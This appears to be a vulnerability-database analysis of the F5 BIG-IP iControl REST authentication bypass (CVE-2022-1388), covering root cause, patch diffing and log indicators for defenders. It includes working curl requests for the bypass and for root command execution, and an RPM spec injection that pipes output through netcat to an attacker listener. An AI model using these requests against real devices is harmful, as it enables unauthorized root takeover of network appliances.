Very High
CVE-2022-1388
Very High
(2 users assessed)
Very High
(2 users assessed)Unknown
Unknown
Unknown
Description
On F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, undisclosed requests may bypass iControl REST authentication. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated
Add Assessment
Technical Analysis
The patch was difficult to analyze, due to the sheer amount of code and changes. But once Horizon3 released a PoC, tracking down the root cause and analyzing what’s going on was much easier. Cheers!
General Information
Vendors
- F5
Products
- BIG-IP
Metasploit Modules
Exploited in the Wild
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Technical Analysis
Overview
On May 4, 2022, F5 released an advisory listing several vulnerabilities, including CVE-2022-1388, a critical authentication bypass that leads to remote code execution in the iControl REST interface with a CVSSv3 base score of 9.8.
The vulnerability affects several different versions of F5 BIG-IP prior to 17.0.0, including:
- F5 BIG-IP 16.1.0 – 16.1.2 (patched in 16.1.2.2)
- F5 BIG-IP 15.1.0 – 15.1.5 (patched in 15.1.5.1)
- F5 BIG-IP 14.1.0 – 14.1.4 (patched in 14.1.4.6)
- F5 BIG-IP 13.1.0 – 13.1.4 (patched in 13.1.5)
- F5 BIG-IP 12.1.0 – 12.1.6 (no patch available, will not fix)
- F5 BIG-IP 11.6.1 – 11.6.5 (no patch available, will not fix)
On Monday, May 9, 2022, Horizon3 released a full proof of concept, which we successfully executed to get a root shell. Other groups have developed exploits, and a Metasploit module is currently in development. We will analyze Horizon3’s exploit, the root cause, an additional avenue of attack, and how the patch works.
Active Exploitation
Over the past few days, BinaryEdge has detected an increase in scanning and exploitation on the internet. Others on Twitter have also observed exploitation attempts. Due to the ease of exploiting this vulnerability, the public exploit code, and the fact that it provides root access, exploitation attempts are likely to increase.
Widespread exploitation is somewhat mitigated by the small number of internet-facing F5 BIG-IP devices, however; our best guess is that there are only about 2,500 targets on the internet.
Proof of Concept
We chose a representative (but meaningless) page from F5’s API documentation, and tested it on the latest unpatched version – 16.1.2.1 (download page requires a free account). By default, with no authentication, it will fail:
$ curl -sk --head https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool HTTP/1.1 401 F5 Authorization Required Server: Apache WWW-Authenticate: Basic realm="Enterprise Manager" Content-Type: text/html; charset=iso-8859-1 [...]
If we provide an account, however, it will return successfully (the actual content doesn’t matter, just the HTTP/200 response):
$ curl -u admin:admin -sk --head https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool HTTP/1.1 200 OK Server: Jetty(9.2.22.v20170606) X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data: http://127.4.1.1 http://127.4.2.1 [...]
Note that the server header changes from Apache to Jetty – that’ll be important later! Instead of using HTTP Basic authentication, F5 BIG-IP also permits token-based logins. We obtain a token using /mgmt/shared/authn/login, as shown below:
$ curl -X POST -sk https://bigip-16-1-2-1-unpatched.local/mgmt/shared/authn/login --data '{"state": "", "username": "admin", "password": "admin"}' | jq '.token' { "token": "XIGEA3CUCVFQ5DKW476OBWNTFA", "name": "XIGEA3CUCVFQ5DKW476OBWNTFA", "userName": "admin", "authProviderName": "local", "user": { "link": "https://localhost/mgmt/shared/authz/users/admin" }, "groupReferences": [], "timeout": 1200, "startTime": "2022-05-10T12:37:29.288-0700", "address": "10.0.0.123", "partition": "[All]", "generation": 1, "lastUpdateMicros": 1652211449287217, "expirationMicros": 1652212649288000, "kind": "shared:authz:tokens:authtokenitemstate", "selfLink": "https://localhost/mgmt/shared/authz/tokens/XIGEA3CUCVFQ5DKW476OBWNTFA" }
That token can be passed as an X-F5-Auth-Token header when performing an iControl REST API call:
$ curl -sk -H 'X-F5-Auth-Token: XT37WQQD5OTMBJL4A7G3TJRSNU' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool {"kind":"tm:ltm:pool:poolcollectionstate","selfLink":"https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1","items":[]}
Whereas a bad token will print an error:
$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool {"code":401,"message":"X-F5-Auth-Token does not exist.","referer":"10.0.0.123","restOperationId":6655303,"kind":":resterrorresponse"}
Now, using the technique shown in Horizon3’s PoC, we can use an invalid token successfully with the following request:
$ curl -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host: 127.0.0.1' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool {"kind":"tm:ltm:pool:poolcollectionstate","selfLink":"https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1","items":[]}
Despite the bad token and invalid password, this request works! Let’s look at why.
Technical Analysis
We pointed out earlier that replies to different requests appear to come from different servers – one came from Apache and the other from Jetty(9.2.22.v20170606) (on older versions you might see Tomcat instead). What’s going on here?
If we look at the list of listening ports, we see two different HTTP servers are running (this is from version 16.1.2.1, this is a bit different on older versions):
[root@localhost:NO LICENSE:Standalone] # netstat -pn --listening | egrep '(443|8100)' tcp6 0 0 127.0.0.1:8100 :::* LISTEN 7117/java tcp6 0 0 :::443 :::* LISTEN 4312/httpd [root@localhost:NO LICENSE:Standalone] # ps aux -q 4312,7117 USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 4312 0.0 0.1 122484 5164 ? Ss 13:03 0:00 /usr/sbin/httpd -DTrafficShield -DAVRUI -DSAM root 7117 7.7 7.7 1860980 311744 ? Sl 13:03 0:40 /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el6_10.x86_64/bin/java [...]
The httpd server is Apache, which runs the front end, and the java server is actually jetty, which runs the iControl REST API.
Typically, a user authenticates to the front-end Apache server using a username / password or a BIGIPAuthCookie cookie. If either exists, Apache handles authentication (using the module /etc/httpd/modules/mod_auth_pam.so, which we’ll look at later when we discuss the patch):
$ curl -i -sk -u invalid:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:' Server: Apache $ curl -i -sk -b 'BIGIPAuthCookie=invalidauth' https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:' Server: Apache
If either of those are correct, Apache affirms that the user is valid and passes the request to the backend, which runs on localhost:8100. The backend does not validate the request in those cases — it accepts it on merit. It’s from Apache, after all, so it must be valid! Note the invalid password when connecting straight to localhost:8100:
[root@localhost:NO LICENSE:Standalone] # curl -sH "Content-Type: application/json" -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq { "kind": "tm:ltm:pool:poolcollectionstate", "selfLink": "https://localhost/mgmt/tm/ltm/pool?ver=16.1.2.1", "items": [] }
Note that connecting directly to localhost:8100 with no authentication still works on fully patched versions! The backend does, however, require a valid username, which it gets from the Authorization header (ignoring the password).
If we add an X-F5-Auth-Token header to the same request, it fails – this is very important:
# curl -sH "Content-Type: application/json" -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw http://localhost:8100/mgmt/tm/ltm/pool | jq { "code": 401, "message": "X-F5-Auth-Token does not exist.", "referer": "Unknown", "restOperationId": 7193848, "kind": ":resterrorresponse" }
What’s happening is this: on the unpatched server, the Apache frontend validates the authentication information if it’s a cookie or HTTP basic authentication, but the Jetty backend validates it if it’s a X-F5-Auth-Token. We can see that this behavior changed between the unpatched and patched versions:
$ curl -i -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/ltm/pool | grep 'Server:' Server: Jetty(9.2.22.v20170606) $ curl -i -sk -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -u admin:invalidpw https://bigip-16-1-2-2-patched.local/mgmt/tm/ltm/pool | grep 'Server:' Server: Apache
To summarize what we’ve learned about the vulnerable version so far: if a user is authenticating with a cookie or HTTP Basic authentication, Apache validates it using mod_auth_pam.so and passes it to the backend with no token. If, however, the request contains a token, the request — token and all — is forwarded to the backend for validation (unless the server has been patched).
You might think this if A authenticate here, if B authenticate there situation sounds like a really bad idea, and you’d be right. That’s why we’re here!
In essence, the exploit confuses the front end to think we should authenticate to the backend (by setting a token), but also confuses the back end to think we already authenticated (by including the X-F5-Auth-Token, then using Connection to remove it. Both assume the other did the work, but neither of them authenticated the user!
The Patch
Traditionally, F5 BIG-IP stores authentication tokens (that is, cookies) in the /var/run/pamcache folder:
[root@localhost:NO LICENSE:Standalone] # ls /var/run/pamcache/ 3C9D8D962E99CD1476936BEEB6125EA8A6AC7099
If the user sends a cookie, the front end uses the entries in that directory to validate the cookie. Previously, only cookies were stored in that folder, and the front end only validated the token if it was in a cookie.
In the patch, F5 updated the back end, /usr/share/java/rest/f5.rest.jar, which is one of the .jar files used by Jetty. Using a Java decompiler, we decompiled the .jar file into Java source. The patch from 16.1.2.1 to 16.1.2.2 has a substantial number of changes, so instead we compared 13.1.4.1 with 13.1.5. Our logic was, being the oldest version, it probably only got the security fix and no functionality / cosmetic changes.
That turned out to be correct, because that patch only makes two major changes. The important one is an update to com/f5/rest/workers/AuthTokenWorker.java, which includes the following new function:
public void writeTokenFile(AuthTokenItemState state) { final String path = UrlHelper.buildUriPath(new String[] { "/var/run/pamcache", state.token }); final AsynchronousFileChannel fileChannel = createFileChannel(path, new OpenOption[] { StandardOpenOption.CREATE, StandardOpenOption.WRITE }); // [...] String str = state.userName + "\n" + state.address; fileChannel.write(ByteBuffer.wrap(str.getBytes()), 0L, String.format("Writing auth-token file", new Object[0]), completion); }
Basically, it writes the token (the value from X-F5-Auth-Token) to /var/run/pamcache/<token>, along with all the cookies. They also added code to chcon the file for SELinux’s sake – probably they struggled with figuring out why Apache couldn’t read the file written by Java before realizing that SELinux was preventing it (anybody who’s used an SELinux system knows that struggle!).
The corresponding change to the front end can be found in mod_auth_pam.so, which looks something like:
.text:00005B08 mov ecx, [ebp+var_27BC] .text:00005B0E lea eax, (aXF5AuthToken - 0AAF0h)[ebx] ; "X-F5-Auth-Token" .text:00005B14 mov [esp+4], eax .text:00005B18 mov eax, [ecx+0A0h] .text:00005B1E mov [esp], eax .text:00005B21 call _apr_table_get ; Read X-F5-Auth-Token from headers .text:00005B26 test eax, eax .text:00005B28 mov [ebp+f5authtokenpointer], eax ; Store X-F5-Auth-Token value ; [...] .text:0000631D mov edi, [ebp+f5authtokenpointer] .text:00006323 lea eax, (aVarRunPamcache_0 - 0AAF0h)[ebx] ; "/var/run/pamcache/%s" .text:00006329 lea esi, [ebp+var_2684] .text:0000632F mov [esp+0Ch], edi .text:00006333 mov [esp+8], eax .text:00006337 mov dword ptr [esp+4], 1000h .text:0000633F mov [esp], esi .text:00006342 call _apr_snprintf ; Build the path, /var/run/pamcache/<token> .text:00006347 mov dword ptr [esp+4], 0 .text:0000634F mov [esp], esi .text:00006352 call _access ; Make sure it has access .text:00006357 cmp eax, 0FFFFFFFFh .text:0000635A jz loc_64D9 .text:00006360 lea eax, (aReferer+6 - 0AAF0h)[ebx] ; "r" .text:00006366 mov [esp], esi .text:00006369 mov [esp+4], eax .text:0000636D call _fopen ; Open the token file ; [... validate the token ...]
Basically, they added the capability for the front end to validate the token issued by the back end before passing the request to the back end. This solution is hacky at best, but it does fix the immediate issue!
Exploit
The public exploit developed by Horizon3 uses the /mgmt/tm/util/bash endpoint, which is an endpoint, present on all versions, that can execute code remotely on behalf of an authorized used. We really appreciate it when applications build-in code execution! With proper authentication, even a fully patched server (16.1.2.2) will run a command using that endpoint:
$ curl -sk -u admin:admin -H 'Content-Type: application/json' https://bigip-16-1-2-2-patched.local/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult' "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"
The same endpoint on a vulnerable version will execute just fine with the bypass:
$ curl -sk -H 'Content-Type: application/json' -H 'X-F5-Auth-Token: AAAAAAAAAAAAAAAAAAAAAAAAAA' -H 'Connection: X-F5-Auth-Token' -H 'Host: 127.0.0.1' -u admin:invalidpw https://bigip-16-1-2-1-unpatched.local/mgmt/tm/util/bash --data '{"command": "run", "utilCmdArgs": "-c id"}' | jq '.commandResult' "uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0\n"
While testing, before we knew about /mgmt/tm/util/bash, we actually devised a much more complicated way to run code: RPM specification injection! We’ll show that method here, because it’s conceivable that an attacker might use it to evade detection. It’s also kinda interesting!
This curl request creates an RPM .spec file, but injects newlines into the description field along with a %check header. That section of an RPM .spec runs after a package is created, and contains commands that are supposed to validate the package. In our case, the new %check section executes id | nc 10.0.0.123 4444:
$ curl -uadmin:admin -H "Content-Type: application/json" -X POST -sk https://bigip-16-1-2-2-patched.local/mgmt/shared/iapp/rpm-spec-creator --data '{"specFileData": {"name": "test", "srcBasePath": "/tmp", "version": "test6", "release": "test7", "description": "test8\n\n%check\nid | nc 10.0.0.123 4444", "summary": "test9"}}' | jq --raw-output '.specFilePath' /var/config/rest/node/tmp/1b89e446-e78a-435a-b6ee-c98c58284090.spec
That endpoint returns a path to a .spec file. This endpoint consumes that .spec to build a package:
$ curl -X POST -sku admin:admin https://bigip-16-1-2-2-patched.local/mgmt/shared/iapp/build-package --data '{"state": {}, "appName": "test", "packageDirectory": "/tmp", "specFilePath": "/var/config/rest/node/tmp/1b89e446-e78a-435a-b6ee-c98c58284090.spec", "force": true }'
When the package builds, the command we embedded executes and we get a connection to our listener:
$ nc -l -p 4444 uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
Like the other code-execution endpoint, this technique works on the patched version (16.1.2.2) with a valid account, or an unpatched version using the bypass. Executing code here probably isn’t intentional, but it requires an administrative account to execute.
IoCs
We could not find a way to distinguish between exploit payloads and legitimate command runs via the API. That being said, shell commands executing via the API should be uncommon enough to identify actual attacks. The best resource we found was searching /var/log/audit for commands executed by icrd_child:
[root@localhost:NO LICENSE:Standalone] # grep pid=$(pgrep 'icrd_child') /var/log/audit May 10 09:58:16 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c whoami May 10 09:58:34 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c whoami May 10 10:52:47 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id May 10 10:52:53 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id May 10 12:05:41 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id May 10 12:06:07 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id May 10 12:07:00 localhost.localdomain notice icrd_child[10985]: 01420002:5: AUDIT - pid=10985 user=admin folder=/Common module=(tmos)# status=[Command OK] cmd_data=run util bash -c id
Another helpful log is /var/log/restjavad-audit.0.log, which tracks all API access. If your organization uses the API, this might have more entries in it, but we can see our bash commands being executed here:
[root@localhost:NO LICENSE:Standalone] # tail -n3 /var/log/restjavad-audit.0.log [I][223][10 May 2022 17:52:53 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":"10.0.0.123"} [I][230][10 May 2022 19:05:41 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":"10.0.0.123"} [I][231][10 May 2022 19:06:07 UTC][ForwarderPassThroughWorker] {"user":"local/admin","method":"POST","uri":"http://localhost:8100/mgmt/tm/util/bash","status":200,"from":"10.0.0.123"}
In addition to /mgmt/tm/util/bash, which is used by public exploits, checking for access to the /mgmt/shared/iapp/rpm-spec-creator endpoint can detect exploit attempts using the alternative endpoint that we identified.
References
- CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
- Advisory: https://support.f5.com/csp/article/K55879220 and https://support.f5.com/csp/article/K23605346
- Initial public PoC: https://github.com/horizon3ai/CVE-2022-1388
- API documentation: https://clouddocs.f5.com/api/icontrol-rest/
- Deep dive from Horizon3: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Yes, definitely more easier than HRS…
this was fun!